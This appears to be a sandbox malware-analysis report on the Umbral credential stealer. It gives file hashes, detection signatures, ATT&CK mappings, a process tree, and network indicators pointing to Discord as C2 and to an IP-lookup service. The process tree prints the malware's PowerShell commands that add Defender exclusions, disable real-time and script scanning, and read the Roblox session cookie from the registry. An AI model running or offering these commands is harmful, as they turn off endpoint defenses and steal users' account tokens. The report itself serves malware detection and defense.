umbral | f3073b18151ae854112999b803ef10b70447d908a3cb0b2c27e91740a3fb2370

General

Target

Umbral.exe
Size

229KB
MD5

50bc3bab2a3553f7b55fbc5a6fa1275f
SHA1

83f6672fee979dec40ee154519c9cd7d3aa79bb4
SHA256

f3073b18151ae854112999b803ef10b70447d908a3cb0b2c27e91740a3fb2370
SHA512

a0c0b1d7b2e9dae8c1e4315b2002eaf2caddd3639986f053f3874e7e7c715e60d20f4893d0b456d7289503146ace6fde934e1f807b5483ff28a592bfac55d150
SSDEEP

6144:lloZMHrIkd8g+EtXHkv/iD4SZ+lTwk7+iTlwsJOhK28e1mmi:noZIL+EP8SZ+lTwk7+iTlwsJIw

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3504-1-0x000001E0DDD50000-0x000001E0DDD90000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

1856 powershell.exe
4720 powershell.exe
4236 powershell.exe
2060 powershell.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

21 discord.com
22 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

15 ip-api.com
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

1512 wmic.exe

flow	ioc
21	discord.com
22	discord.com

flow	ioc
15	ip-api.com

pid	process
1512	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1856	powershell.exe
1856	powershell.exe
4720	powershell.exe
4720	powershell.exe
4236	powershell.exe
4236	powershell.exe
2256	powershell.exe
2256	powershell.exe
2060	powershell.exe
2060	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Umbral.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	3504	Umbral.exe
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeDebugPrivilege	4236	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeIncreaseQuotaPrivilege	1496	wmic.exe
Token: SeSecurityPrivilege	1496	wmic.exe
Token: SeTakeOwnershipPrivilege	1496	wmic.exe
Token: SeLoadDriverPrivilege	1496	wmic.exe
Token: SeSystemProfilePrivilege	1496	wmic.exe
Token: SeSystemtimePrivilege	1496	wmic.exe
Token: SeProfSingleProcessPrivilege	1496	wmic.exe
Token: SeIncBasePriorityPrivilege	1496	wmic.exe
Token: SeCreatePagefilePrivilege	1496	wmic.exe
Token: SeBackupPrivilege	1496	wmic.exe
Token: SeRestorePrivilege	1496	wmic.exe
Token: SeShutdownPrivilege	1496	wmic.exe
Token: SeDebugPrivilege	1496	wmic.exe
Token: SeSystemEnvironmentPrivilege	1496	wmic.exe
Token: SeRemoteShutdownPrivilege	1496	wmic.exe
Token: SeUndockPrivilege	1496	wmic.exe
Token: SeManageVolumePrivilege	1496	wmic.exe
Token: 33	1496	wmic.exe
Token: 34	1496	wmic.exe
Token: 35	1496	wmic.exe
Token: 36	1496	wmic.exe
Token: SeIncreaseQuotaPrivilege	1496	wmic.exe
Token: SeSecurityPrivilege	1496	wmic.exe
Token: SeTakeOwnershipPrivilege	1496	wmic.exe
Token: SeLoadDriverPrivilege	1496	wmic.exe
Token: SeSystemProfilePrivilege	1496	wmic.exe
Token: SeSystemtimePrivilege	1496	wmic.exe
Token: SeProfSingleProcessPrivilege	1496	wmic.exe
Token: SeIncBasePriorityPrivilege	1496	wmic.exe
Token: SeCreatePagefilePrivilege	1496	wmic.exe
Token: SeBackupPrivilege	1496	wmic.exe
Token: SeRestorePrivilege	1496	wmic.exe
Token: SeShutdownPrivilege	1496	wmic.exe
Token: SeDebugPrivilege	1496	wmic.exe
Token: SeSystemEnvironmentPrivilege	1496	wmic.exe
Token: SeRemoteShutdownPrivilege	1496	wmic.exe
Token: SeUndockPrivilege	1496	wmic.exe
Token: SeManageVolumePrivilege	1496	wmic.exe
Token: 33	1496	wmic.exe
Token: 34	1496	wmic.exe
Token: 35	1496	wmic.exe
Token: 36	1496	wmic.exe
Token: SeIncreaseQuotaPrivilege	2512	wmic.exe
Token: SeSecurityPrivilege	2512	wmic.exe
Token: SeTakeOwnershipPrivilege	2512	wmic.exe
Token: SeLoadDriverPrivilege	2512	wmic.exe
Token: SeSystemProfilePrivilege	2512	wmic.exe
Token: SeSystemtimePrivilege	2512	wmic.exe
Token: SeProfSingleProcessPrivilege	2512	wmic.exe
Token: SeIncBasePriorityPrivilege	2512	wmic.exe
Token: SeCreatePagefilePrivilege	2512	wmic.exe
Token: SeBackupPrivilege	2512	wmic.exe
Token: SeRestorePrivilege	2512	wmic.exe
Token: SeShutdownPrivilege	2512	wmic.exe
Token: SeDebugPrivilege	2512	wmic.exe
Token: SeSystemEnvironmentPrivilege	2512	wmic.exe
Token: SeRemoteShutdownPrivilege	2512	wmic.exe
Token: SeUndockPrivilege	2512	wmic.exe
Token: SeManageVolumePrivilege	2512	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

Umbral.exe

description	pid	process	target process
PID 3504 wrote to memory of 1856	3504	Umbral.exe	powershell.exe
PID 3504 wrote to memory of 1856	3504	Umbral.exe	powershell.exe
PID 3504 wrote to memory of 4720	3504	Umbral.exe	powershell.exe
PID 3504 wrote to memory of 4720	3504	Umbral.exe	powershell.exe
PID 3504 wrote to memory of 4236	3504	Umbral.exe	powershell.exe
PID 3504 wrote to memory of 4236	3504	Umbral.exe	powershell.exe
PID 3504 wrote to memory of 2256	3504	Umbral.exe	powershell.exe
PID 3504 wrote to memory of 2256	3504	Umbral.exe	powershell.exe
PID 3504 wrote to memory of 1496	3504	Umbral.exe	wmic.exe
PID 3504 wrote to memory of 1496	3504	Umbral.exe	wmic.exe
PID 3504 wrote to memory of 2512	3504	Umbral.exe	wmic.exe
PID 3504 wrote to memory of 2512	3504	Umbral.exe	wmic.exe
PID 3504 wrote to memory of 1724	3504	Umbral.exe	wmic.exe
PID 3504 wrote to memory of 1724	3504	Umbral.exe	wmic.exe
PID 3504 wrote to memory of 2060	3504	Umbral.exe	powershell.exe
PID 3504 wrote to memory of 2060	3504	Umbral.exe	powershell.exe
PID 3504 wrote to memory of 1512	3504	Umbral.exe	wmic.exe
PID 3504 wrote to memory of 1512	3504	Umbral.exe	wmic.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2256
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1496
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2512
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2060
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
17d8127be94d3c1b6fcc9a4ed585003e

SHA1
789874fcc7c778c723f3e89822d8cc8750c6c4c8

SHA256
ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b

SHA512
bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eeb6ad386d143f278077171fc01a81e8

SHA1
43cff1bd7240965bfb2f10e47c0cec0f94332e2d

SHA256
59d62f9472b4c00b7cae0ee702789fa2b0042c468e4de9421d2430f9973eb00d

SHA512
b40f003e6d97adaaf05809f06d12df01984943d9eb6c44eaeffef90df8de0040373150c9714b11a42db5189b7064eeed0609a39f6f1feb91b05dd1835333e8f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rqautmwj.sts.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1856-12-0x00000244BB200000-0x00000244BB222000-memory.dmp

Filesize
136KB

Download
memory/1856-13-0x00007FFBB8CE0000-0x00007FFBB97A1000-memory.dmp

Filesize
10.8MB

Download
memory/1856-14-0x00007FFBB8CE0000-0x00007FFBB97A1000-memory.dmp

Filesize
10.8MB

Download
memory/1856-15-0x00007FFBB8CE0000-0x00007FFBB97A1000-memory.dmp

Filesize
10.8MB

Download
memory/1856-18-0x00007FFBB8CE0000-0x00007FFBB97A1000-memory.dmp

Filesize
10.8MB

Download
memory/3504-33-0x000001E0F8470000-0x000001E0F84C0000-memory.dmp

Filesize
320KB

Download
memory/3504-32-0x000001E0F84F0000-0x000001E0F8566000-memory.dmp

Filesize
472KB

Download
memory/3504-34-0x000001E0F8570000-0x000001E0F858E000-memory.dmp

Filesize
120KB

Download
memory/3504-1-0x000001E0DDD50000-0x000001E0DDD90000-memory.dmp

Filesize
256KB

Download
memory/3504-0-0x00007FFBB8CE3000-0x00007FFBB8CE5000-memory.dmp

Filesize
8KB

Download
memory/3504-69-0x000001E0F84C0000-0x000001E0F84D2000-memory.dmp

Filesize
72KB

Download
memory/3504-68-0x000001E0DFC20000-0x000001E0DFC2A000-memory.dmp

Filesize
40KB

Download
memory/3504-2-0x00007FFBB8CE0000-0x00007FFBB97A1000-memory.dmp

Filesize
10.8MB

Download
memory/3504-89-0x00007FFBB8CE0000-0x00007FFBB97A1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads